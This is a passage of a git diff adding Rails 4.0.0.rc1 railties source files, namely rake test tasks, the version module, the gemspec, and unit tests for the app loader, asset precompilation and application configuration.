+ recent_tests('app/models/**/*.rb', 'test/unit', since) +
+ recent_tests('app/controllers/**/*.rb', 'test/controllers', since) +
+ recent_tests('app/controllers/**/*.rb', 'test/functional', since)
+
+ t.test_files = touched.uniq
+ end
+ Rake::Task['test:recent'].comment = "Deprecated; Test recent changes"
+
+ Rake::TestTask.new(uncommitted: ["test:deprecated", "test:prepare"]) do |t|
+ def t.file_list
+ if File.directory?(".svn")
+ changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] }
+ elsif system "git rev-parse --git-dir 2>&1 >/dev/null"
+ changed_since_checkin = silence_stderr { `git ls-files --modified --others --exclude-standard` }.split.map { |path| path.chomp }
+ else
+ abort "Not a Subversion or Git checkout."
+ end
+
+ models = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
+ controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
+
+ unit_tests = models.map { |model| "test/models/#{File.basename(model, '.rb')}_test.rb" } +
+ models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" } +
+ functional_tests = controllers.map { |controller| "test/controllers/#{File.basename(controller, '.rb')}_test.rb" } +
+ controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
+ (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
+ end
+ end
+ Rake::Task['test:uncommitted'].comment = "Deprecated; Test changes since last checkin (only Subversion and Git)"
+
+ Rails::TestTask.new(single: "test:prepare")
+
+ Rails::TestTask.new(models: "test:prepare") do |t|
+ t.pattern = 'test/models/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(helpers: "test:prepare") do |t|
+ t.pattern = 'test/helpers/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(units: "test:prepare") do |t|
+ t.pattern = 'test/{models,helpers,unit}/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(controllers: "test:prepare") do |t|
+ t.pattern = 'test/controllers/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(mailers: "test:prepare") do |t|
+ t.pattern = 'test/mailers/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(functionals: "test:prepare") do |t|
+ t.pattern = 'test/{controllers,mailers,functional}/**/*_test.rb'
+ end
+
+ Rails::TestTask.new(integration: "test:prepare") do |t|
+ t.pattern = 'test/integration/**/*_test.rb'
+ end
+end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
new file mode 100644
index 0000000..dcbf57a
--- /dev/null
+++ b/railties/lib/rails/version.rb
@@ -0,0 +1,10 @@
+module Rails
+ module VERSION
+ MAJOR = 4
+ MINOR = 0
+ TINY = 0
+ PRE = "rc1"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
new file mode 100644
index 0000000..45b764f
--- /dev/null
+++ b/railties/lib/rails/welcome_controller.rb
@@ -0,0 +1,7 @@
+class Rails::WelcomeController < ActionController::Base # :nodoc:
+ self.view_paths = File.expand_path('../templates', __FILE__)
+ layout nil
+
+ def index
+ end
+end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
new file mode 100644
index 0000000..4596805
--- /dev/null
+++ b/railties/railties.gemspec
@@ -0,0 +1,31 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'railties'
+ s.version = version
+ s.summary = 'Tools for creating, working with, and running Rails applications.'
+ s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'RDOC_MAIN.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}']
+ s.require_path = 'lib'
+
+ s.bindir = 'bin'
+ s.executables = ['rails']
+
+ s.rdoc_options << '--exclude' << '.'
+
+ s.add_dependency 'activesupport', version
+ s.add_dependency 'actionpack', version
+
+ s.add_dependency 'rake', '>= 0.8.7'
+ s.add_dependency 'thor', '>= 0.18.1', '< 2.0'
+end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
new file mode 100644
index 0000000..491faf4
--- /dev/null
+++ b/railties/test/abstract_unit.rb
@@ -0,0 +1,18 @@
+ENV["RAILS_ENV"] ||= "test"
+
+require File.expand_path("../../../load_paths", __FILE__)
+
+require 'stringio'
+require 'active_support/testing/autorun'
+require 'fileutils'
+
+require 'active_support'
+require 'action_controller'
+require 'rails/all'
+
+module TestApp
+ class Application < Rails::Application
+ config.root = File.dirname(__FILE__)
+ config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ end
+end
diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_rails_loader_test.rb
new file mode 100644
index 0000000..ceae78a
--- /dev/null
+++ b/railties/test/app_rails_loader_test.rb
@@ -0,0 +1,68 @@
+require 'tmpdir'
+require 'abstract_unit'
+require 'rails/app_rails_loader'
+
+class AppRailsLoaderTest < ActiveSupport::TestCase
+ def write(filename, contents=nil)
+ FileUtils.mkdir_p(File.dirname(filename))
+ File.write(filename, contents)
+ end
+
+ def expects_exec(exe)
+ Rails::AppRailsLoader.expects(:exec).with(Rails::AppRailsLoader::RUBY, exe)
+ end
+
+ setup do
+ @tmp = Dir.mktmpdir('railties-rails-loader-test-suite')
+ @cwd = Dir.pwd
+ Dir.chdir(@tmp)
+ end
+
+ ['bin', 'script'].each do |script_dir|
+ exe = "#{script_dir}/rails"
+
+ test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
+ File.stubs(:exists?).with('bin/rails').returns(false)
+ File.stubs(:exists?).with('script/rails').returns(false)
+
+ assert !Rails::AppRailsLoader.exec_app_rails
+ end
+
+ ['APP_PATH', 'ENGINE_PATH'].each do |keyword|
+ test "is in a Rails application if #{exe} exists and contains #{keyword}" do
+ write exe, keyword
+
+ expects_exec exe
+ Rails::AppRailsLoader.exec_app_rails
+ end
+
+ test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do
+ write exe
+
+ assert !Rails::AppRailsLoader.exec_app_rails
+ end
+
+ test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do
+ write "foo/bar/#{exe}"
+ write "foo/#{exe}", keyword
+
+ Dir.chdir('foo/bar')
+
+ expects_exec exe
+ Rails::AppRailsLoader.exec_app_rails
+
+ # Compare the realpath in case either of them has symlinks.
+ #
+ # This happens in particular in Mac OS X, where @tmp starts
+ # with "/var", and Dir.pwd with "/private/var", due to a
+ # default system symlink var -> private/var.
+ assert_equal File.realpath("#@tmp/foo"), File.realpath(Dir.pwd)
+ end
+ end
+ end
+
+ teardown do
+ Dir.chdir(@cwd)
+ FileUtils.rm_rf(@tmp)
+ end
+end
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
new file mode 100644
index 0000000..b3b4044
--- /dev/null
+++ b/railties/test/application/asset_debugging_test.rb
@@ -0,0 +1,64 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class AssetDebuggingTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app(initializers: true)
+
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/posts', to: "posts#index"
+ end
+ RUBY
+
+ app_file "app/controllers/posts_controller.rb", <<-RUBY
+ class PostsController < ActionController::Base
+ end
+ RUBY
+
+ ENV["RAILS_ENV"] = "production"
+
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+ # config.assets.debug and config.assets.compile are false for production environment
+ ENV["RAILS_ENV"] = "production"
+ output = Dir.chdir(app_path){ `bundle exec rake assets:precompile --trace 2>&1` }
+ assert $?.success?, output
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ # the debug_assets params isn't used if compile is off
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
+ end
+
+ test "assets aren't concatenated when compile is true is on and debug_assets params is true" do
+ add_to_env_config "production", "config.assets.compile = true"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+ end
+ end
+end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
new file mode 100644
index 0000000..34432ea
--- /dev/null
+++ b/railties/test/application/assets_test.rb
@@ -0,0 +1,484 @@
+# -*- coding: utf-8 -*-
+require 'isolation/abstract_unit'
+require 'rack/test'
+require 'active_support/json'
+
+module ApplicationTests
+ class AssetsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app(initializers: true)
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def precompile!(env = nil)
+ quietly do
+ precompile_task = "bundle exec rake assets:precompile #{env} --trace 2>&1"
+ output = Dir.chdir(app_path) { %x[ #{precompile_task} ] }
+ assert $?.success?, output
+ output
+ end
+ end
+
+ def clean_assets!
+ quietly do
+ assert Dir.chdir(app_path) { system('bundle exec rake assets:clobber') }
+ end
+ end
+
+ def assert_file_exists(filename)
+ assert Dir[filename].first, "missing #{filename}"
+ end
+
+ def assert_no_file_exists(filename)
+ assert !File.exists?(filename), "#{filename} does exist"
+ end
+
+ test "assets routes have higher priority" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
+ app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get "/assets/demo.js"
+ assert_equal 'a = "/assets/rails.png";', last_response.body.strip
+ end
+
+ test "assets do not require compressors until it is used" do
+ app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+ add_to_env_config "production", "config.assets.compile = true"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ assert !defined?(Uglifier)
+ get "/assets/demo.js"
+ assert_match "alert()", last_response.body
+ assert defined?(Uglifier)
+ end
+
+ test "precompile creates the file, gives it the original asset's content and run in production as default" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ app_file "app/assets/javascripts/foo/application.js", "alert();"
+
+ ENV["RAILS_ENV"] = nil
+ precompile!
+
+ files = Dir["#{app_path}/public/assets/application-*.js"]
+ files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+ files.each do |file|
+ assert_not_nil file, "Expected application.js asset to be generated, but none found"
+ assert_equal "alert();\n", File.read(file)
+ end
+ end
+
+ def test_precompile_does_not_hit_the_database
+ app_file "app/assets/javascripts/application.js", "alert();"
+ app_file "app/assets/javascripts/foo/application.js", "alert();"
+ app_file "app/controllers/users_controller.rb", <<-eoruby
+ class UsersController < ApplicationController; end
+ eoruby
+ app_file "app/models/user.rb", <<-eoruby
+ class User < ActiveRecord::Base; end
+ eoruby
+
+ ENV['RAILS_ENV'] = 'production'
+ ENV['DATABASE_URL'] = 'postgresql://baduser:badpass@127.0.0.1/dbname'
+
+ precompile!
+
+ files = Dir["#{app_path}/public/assets/application-*.js"]
+ files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+ files.each do |file|
+ assert_not_nil file, "Expected application.js asset to be generated, but none found"
+ assert_equal "alert();".strip, File.read(file).strip
+ end
+ ensure
+ ENV.delete 'RAILS_ENV'
+ ENV.delete 'DATABASE_URL'
+ end
+
+ test "precompile application.js and application.css and all other non JS/CSS files" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ app_file "app/assets/stylesheets/application.css", "body{}"
+
+ app_file "app/assets/javascripts/someapplication.js", "alert();"
+ app_file "app/assets/stylesheets/someapplication.css", "body{}"
+
+ app_file "app/assets/javascripts/something.min.js", "alert();"
+ app_file "app/assets/stylesheets/something.min.css", "body{}"
+
+ app_file "app/assets/javascripts/something.else.js.erb", "alert();"
+ app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
+
+ images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
+ "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
+ "happy.happy.face.png", "-happy.png", "-happy.face.png",
+ "_happy.face.png", "_happy.png"]
+
+ images_should_compile.each do |filename|
+ app_file "app/assets/images/#{filename}", "happy"
+ end
+
+ precompile!
+
+ images_should_compile = ["a-*.png", "happyface-*.png", "happy_face-*.png", "happy.face-*.png",
+ "happy-face-*.png", "happy.happy_face-*.png", "happy_happy.face-*.png",
+ "happy.happy.face-*.png", "-happy-*.png", "-happy.face-*.png",
+ "_happy.face-*.png", "_happy-*.png"]
+
+ images_should_compile.each do |filename|
+ assert_file_exists("#{app_path}/public/assets/#{filename}")
+ end
+
+ assert_file_exists("#{app_path}/public/assets/application-*.js")
+ assert_file_exists("#{app_path}/public/assets/application-*.css")
+
+ assert_no_file_exists("#{app_path}/public/assets/someapplication-*.js")
+ assert_no_file_exists("#{app_path}/public/assets/someapplication-*.css")
+
+ assert_no_file_exists("#{app_path}/public/assets/something.min-*.js")
+ assert_no_file_exists("#{app_path}/public/assets/something.min-*.css")
+
+ assert_no_file_exists("#{app_path}/public/assets/something.else-*.js")
+ assert_no_file_exists("#{app_path}/public/assets/something.else-*.css")
+ end
+
+ test "precompile something.js for directory containing index file" do
+ add_to_config "config.assets.precompile = [ 'something.js' ]"
+ app_file "app/assets/javascripts/something/index.js.erb", "alert();"
+
+ precompile!
+
+ assert_file_exists("#{app_path}/public/assets/something-*.js")
+ end
+
+ test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
+ add_to_config "config.assets.digest = true"
+ add_to_config "config.action_controller.perform_caching = false"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ assert_equal Sprockets::Index, Rails.application.assets.class
+ end
+
+ test "precompile creates a manifest file with all the assets listed" do
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ app_file "app/assets/javascripts/application.js", "alert();"
+ # digest is default in false, we must enable it for test environment
+ add_to_config "config.assets.digest = true"
+
+ precompile!
+ manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
+
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+ assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
+ assert_match(/application-([0-z]+)\.css/, assets["assets"]["application.css"])
+ end
+
+ test "the manifest file should be saved by default in the same assets folder" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ # digest is default in false, we must enable it for test environment
+ add_to_config "config.assets.digest = true"
+ add_to_config "config.assets.prefix = '/x'"
+
+ precompile!
+
+ manifest = Dir["#{app_path}/public/x/manifest-*.json"].first
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+ assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
+ end
+
+ test "assets do not require any assets group gem when manifest file is present" do
+ app_file "app/assets/javascripts/application.js", "alert();"
+ add_to_env_config "production", "config.serve_static_assets = true"
+
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+ asset_path = assets["assets"]["application.js"]
+
+ require "#{app_path}/config/environment"
+
+ # Checking if Uglifier is defined we can know if Sprockets was reached or not
+ assert !defined?(Uglifier)
+ get "/assets/#{asset_path}"
+ assert_match "alert()", last_response.body
+ assert !defined?(Uglifier)
+ end
+
+ test "precompile properly refers files referenced with asset_path and runs in the provided RAILS_ENV" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ # digest is default in false, we must enable it for test environment
+ add_to_env_config "test", "config.assets.digest = true"
+
+ precompile!('RAILS_ENV=test')
+
+ file = Dir["#{app_path}/public/assets/application-*.css"].first
+ assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+ end
+
+ test "precompile shouldn't use the digests present in manifest.json" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
+
+ app_file "app/assets/stylesheets/application.css.erb", "//= depend_on rails.png\np { url: <%= asset_path('rails.png') %> }"
+
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+ asset_path = assets["assets"]["application.css"]
+
+ app_file "app/assets/images/rails.png", "p { url: change }"
+
+ precompile!
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+
+ assert_not_equal asset_path, assets["assets"]["application.css"]
+ end
+
+ test "precompile appends the md5 hash to files referenced with asset_path and run in production with digest true" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
+ app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+ add_to_config "config.assets.compile = true"
+ add_to_config "config.assets.digest = true"
+
+ ENV["RAILS_ENV"] = nil
+
+ precompile!('RAILS_GROUPS=assets')
+
+ file = Dir["#{app_path}/public/assets/application-*.css"].first
+ assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+ end
+
+ test "precompile should handle utf8 filenames" do
+ filename = "レイルズ.png"
+ app_file "app/assets/images/#{filename}", "not a image really"
+ add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
+
+ precompile!
+
+ manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
+ assets = ActiveSupport::JSON.decode(File.read(manifest))
+ assert asset_path = assets["assets"].find { |(k, _)| k && k =~ /.png/ }[1]
+
+ require "#{app_path}/config/environment"
+
+ get "/assets/#{URI.parser.escape(asset_path)}"
+ assert_match "not a image really", last_response.body
+ assert_file_exists("#{app_path}/public/assets/#{asset_path}")
+ end
+
+ test "assets are cleaned up properly" do
+ app_file "public/assets/application.js", "alert();"
+ app_file "public/assets/application.css", "a { color: green; }"
+ app_file "public/assets/subdir/broken.png", "not really an image file"
+
+ clean_assets!
+
+ files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/assets/development/*",
+ "#{app_path}/tmp/cache/assets/test/*", "#{app_path}/tmp/cache/assets/production/*"]
+ assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
+ end
+
+ test "assets routes are not drawn when compilation is disabled" do
+ app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+ add_to_config "config.assets.compile = false"
+
+ ENV["RAILS_ENV"] = "production"
+ require "#{app_path}/config/environment"
+
+ get "/assets/demo.js"
+ assert_equal 404, last_response.status
+ end
+
+ test "does not stream session cookies back" do
+ app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/omg', :to => "omg#index"
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ class ::OmgController < ActionController::Base
+ def index
+ flash[:cool_story] = true
+ render text: "ok"
+ end
+ end
+
+ get "/omg"
+ assert_equal 'ok', last_response.body
+
+ get "/assets/demo.js"
+ assert_match "alert()", last_response.body
+ assert_equal nil, last_response.headers["Set-Cookie"]
+ end
+
+ test "files in any assets/ directories are not added to Sprockets" do
+ %w[app lib vendor].each do |dir|
+ app_file "#{dir}/assets/#{dir}_test.erb", "testing"
+ end
+
+ app_file "app/assets/javascripts/demo.js", "alert();"
+
+ require "#{app_path}/config/environment"
+
+ get "/assets/demo.js"
+ assert_match "alert();", last_response.body
+ assert_equal 200, last_response.status
+ end
+
+ test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+ app_with_assets_in_view
+
+ # config.assets.debug and config.assets.compile are false for production environment
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ require "#{app_path}/config/environment"
+
+ class ::PostsController < ActionController::Base ; end
+
+ # the debug_assets params isn't used if compile is off
+ get '/posts?debug_assets=true'
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
+ end
+
+ test "assets can access model information when precompiling" do
+ app_file "app/models/post.rb", "class Post; end"
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
+
+ add_to_config "config.assets.digest = false"
+ precompile!
+ assert_equal "Post;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
+ end
+
+ test "assets can't access model information when precompiling if not initializing the app" do
+ app_file "app/models/post.rb", "class Post; end"
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>"
+
+ add_to_config "config.assets.digest = false"
+ add_to_config "config.assets.initialize_on_precompile = false"
+
+ precompile!
+ assert_equal "NoPost;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
+ end
+
+ test "initialization on the assets group should set assets_dir" do
+ require "#{app_path}/config/application"
+ Rails.application.initialize!(:assets)
+ assert_not_nil Rails.application.config.action_controller.assets_dir
+ end
+
+ test "enhancements to assets:precompile should only run once" do
+ app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
+ output = precompile!
+ assert_equal 1, output.scan("enhancement").size
+ end
+
+ test "digested assets are not mistakenly removed" do
+ app_file "app/assets/application.js", "alert();"
+ add_to_config "config.assets.compile = true"
+ add_to_config "config.assets.digest = true"
+
+ precompile!
+
+ files = Dir["#{app_path}/public/assets/application-*.js"]
+ assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found"
+ end
+
+ test "digested assets are removed from configured path" do
+ app_file "public/production_assets/application.js", "alert();"
+ add_to_env_config "production", "config.assets.prefix = 'production_assets'"
+
+ ENV["RAILS_ENV"] = nil
+
+ clean_assets!
+
+ files = Dir["#{app_path}/public/production_assets/application-*.js"]
+ assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
+ end
+
+ test "asset urls should use the request's protocol by default" do
+ app_with_assets_in_view
+ add_to_config "config.asset_host = 'example.com'"
+ require "#{app_path}/config/environment"
+ class ::PostsController < ActionController::Base; end
+
+ get '/posts', {}, {'HTTPS'=>'off'}
+ assert_match('src="http://example.com/assets/application.js', last_response.body)
+ get '/posts', {}, {'HTTPS'=>'on'}
+ assert_match('src="https://example.com/assets/application.js', last_response.body)
+ end
+
+ test "asset urls should be protocol-relative if no request is in scope" do
+ app_file "app/assets/images/rails.png", "notreallyapng"
+ app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
+ add_to_config "config.assets.precompile = %w{image_loader.js}"
+ add_to_config "config.asset_host = 'example.com'"
+ precompile!
+
+ assert_match 'src="//example.com/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+ end
+
+ test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
+ ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
+ app_file "app/assets/images/rails.png", "notreallyapng"
+
+ app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
+ add_to_config "config.assets.precompile = %w{app.js}"
+ precompile!
+
+ assert_match 'src="/sub/uri/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+ end
+
+ test "assets:cache:clean should clean cache" do
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:clobber` }
+ end
+
+ assert !File.exist?("#{app_path}/tmp/cache/assets")
+ end
+
+ private
+
+ def app_with_assets_in_view
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/posts', :to => "posts#index"
+ end
+ RUBY
+ end
+ end
+end
diff --git a/railties/test/application/build_original_fullpath_test.rb b/railties/test/application/build_original_fullpath_test.rb
new file mode 100644
index 0000000..647ffb0
--- /dev/null
+++ b/railties/test/application/build_original_fullpath_test.rb
@@ -0,0 +1,27 @@
+require "abstract_unit"
+
+module ApplicationTests
+ class BuildOriginalPathTest < ActiveSupport::TestCase
+ def test_include_original_PATH_info_in_ORIGINAL_FULLPATH
+ env = { 'PATH_INFO' => '/foo/' }
+ assert_equal "/foo/", Rails.application.send(:build_original_fullpath, env)
+ end
+
+ def test_include_SCRIPT_NAME
+ env = {
+ 'SCRIPT_NAME' => '/foo',
+ 'PATH_INFO' => '/bar'
+ }
+
+ assert_equal "/foo/bar", Rails.application.send(:build_original_fullpath, env)
+ end
+
+ def test_include_QUERY_STRING
+ env = {
+ 'PATH_INFO' => '/foo',
+ 'QUERY_STRING' => 'bar',
+ }
+ assert_equal "/foo?bar", Rails.application.send(:build_original_fullpath, env)
+ end
+ end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
new file mode 100644
index 0000000..1acf03f
--- /dev/null
+++ b/railties/test/application/configuration_test.rb
@@ -0,0 +1,674 @@
+require "isolation/abstract_unit"
+require 'rack/test'
+require 'env_helpers'
+
+class ::MyMailInterceptor
+ def self.delivering_email(email); email; end
+end
+
+class ::MyOtherMailInterceptor < ::MyMailInterceptor; end
+
+class ::MyMailObserver
+ def self.delivered_email(email); email; end
+end
+
+class ::MyOtherMailObserver < ::MyMailObserver; end
+
+module ApplicationTests
+ class ConfigurationTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+ include EnvHelpers
+
+ def new_app
+ File.expand_path("#{app_path}/../new_app")
+ end
+
+ def copy_app
+ FileUtils.cp_r(app_path, new_app)
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ FileUtils.rm_rf(new_app) if File.directory?(new_app)
+ end
+
+ test "Rails.env does not set the RAILS_ENV environment variable which would leak out into rake tasks" do
+ require "rails"
+
+ switch_env "RAILS_ENV", nil do
+ Rails.env = "development"
+ assert_equal "development", Rails.env
+ assert_nil ENV['RAILS_ENV']
+ end
+ end
+
+ test "a renders exception on pending migration" do
+ add_to_config <<-RUBY
+ config.active_record.migration_error = :page_load
+ config.consider_all_requests_local = true
+ config.action_dispatch.show_exceptions = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+ ActiveRecord::Migrator.stubs(:needs_migration?).returns(true)
+
+ get "/foo"
+ assert_equal 500, last_response.status
+ assert_match "ActiveRecord::PendingMigrationError", last_response.body
+ end
+
+ test "Rails.groups returns available groups" do
+ require "rails"
+
+ Rails.env = "development"
+ assert_equal [:default, "development"], Rails.groups
+ assert_equal [:default, "development", :assets], Rails.groups(assets: [:development])
+ assert_equal [:default, "development", :another, :assets], Rails.groups(:another, assets: %w(development))
+
+ Rails.env = "test"
+ assert_equal [:default, "test"], Rails.groups(assets: [:development])
+
+ ENV["RAILS_GROUPS"] = "javascripts,stylesheets"
+ assert_equal [:default, "test", "javascripts", "stylesheets"], Rails.groups
+ end
+
+ test "Rails.application is nil until app is initialized" do
+ require 'rails'
+ assert_nil Rails.application
+ require "#{app_path}/config/environment"
+ assert_equal AppTemplate::Application.instance, Rails.application
+ end
+
+ test "Rails.application responds to all instance methods" do
+ require "#{app_path}/config/environment"
+ assert_respond_to Rails.application, :routes_reloader
+ assert_equal Rails.application.routes_reloader, AppTemplate::Application.routes_reloader
+ end
+
+ test "Rails::Application responds to paths" do
+ require "#{app_path}/config/environment"
+ assert_respond_to AppTemplate::Application, :paths
+ assert_equal AppTemplate::Application.paths["app/views"].expanded, ["#{app_path}/app/views"]
+ end
+
+ test "the application root is set correctly" do
+ require "#{app_path}/config/environment"
+ assert_equal Pathname.new(app_path), Rails.application.root
+ end
+
+ test "the application root can be seen from the application singleton" do
+ require "#{app_path}/config/environment"
+ assert_equal Pathname.new(app_path), AppTemplate::Application.root
+ end
+
+ test "the application root can be set" do
+ copy_app
+ add_to_config <<-RUBY
+ config.root = '#{new_app}'
+ RUBY
+
+ use_frameworks []
+
+ require "#{app_path}/config/environment"
+ assert_equal Pathname.new(new_app), Rails.application.root
+ end
+
+ test "the application root is Dir.pwd if there is no config.ru" do
+ File.delete("#{app_path}/config.ru")
+
+ use_frameworks []
+
+ Dir.chdir("#{app_path}") do
+ require "#{app_path}/config/environment"
+ assert_equal Pathname.new("#{app_path}"), Rails.application.root
+ end
+ end
+
+ test "Rails.root should be a Pathname" do
